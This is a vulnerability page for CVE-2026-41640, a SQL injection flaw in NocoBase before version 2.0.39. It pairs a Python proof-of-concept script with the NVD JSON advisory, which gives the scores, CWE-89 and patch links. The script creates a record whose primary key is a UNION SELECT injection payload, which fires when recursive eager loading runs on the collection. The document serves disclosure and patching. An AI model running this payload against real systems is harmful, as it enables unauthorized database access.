CVE-2026-41640

# PoC for CVE-2026-41640: NocoBase SQL Injection via Malicious Primary Key # This script demonstrates creating a record with a malicious PK to trigger SQL injection. import requests TARGET_URL = "http://target-nocobase/api/collection_name" # Payload designed to break out of the string concatenation in queryParentSQL MALICIOUS_PK = "1' UNION SELECT user(),version()-- " headers = { "Authorization": "Bearer <TOKEN>", "Content-Type": "application/json" } # Step 1: Create a record with the malicious string as the primary key payload = { "id": MALICIOUS_PK, # Injection point "title": "Malicious Record" } response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious record created successfully.") print("[*] Triggering recursive eager loading (e.g., viewing a tree structure) will execute the payload.") else: print("[-] Failed to create record.")

{"cve": {"id": "CVE-2026-41640", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:28.277", "lastModified": "2026-05-12T16:51:23.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.39", "matchCriteriaId": "353FCC5B-0DF7-49FC-9E2B-FD04C3A46751"}]}]}], "references": [{"url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nocobase/nocobase/pull/9133", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}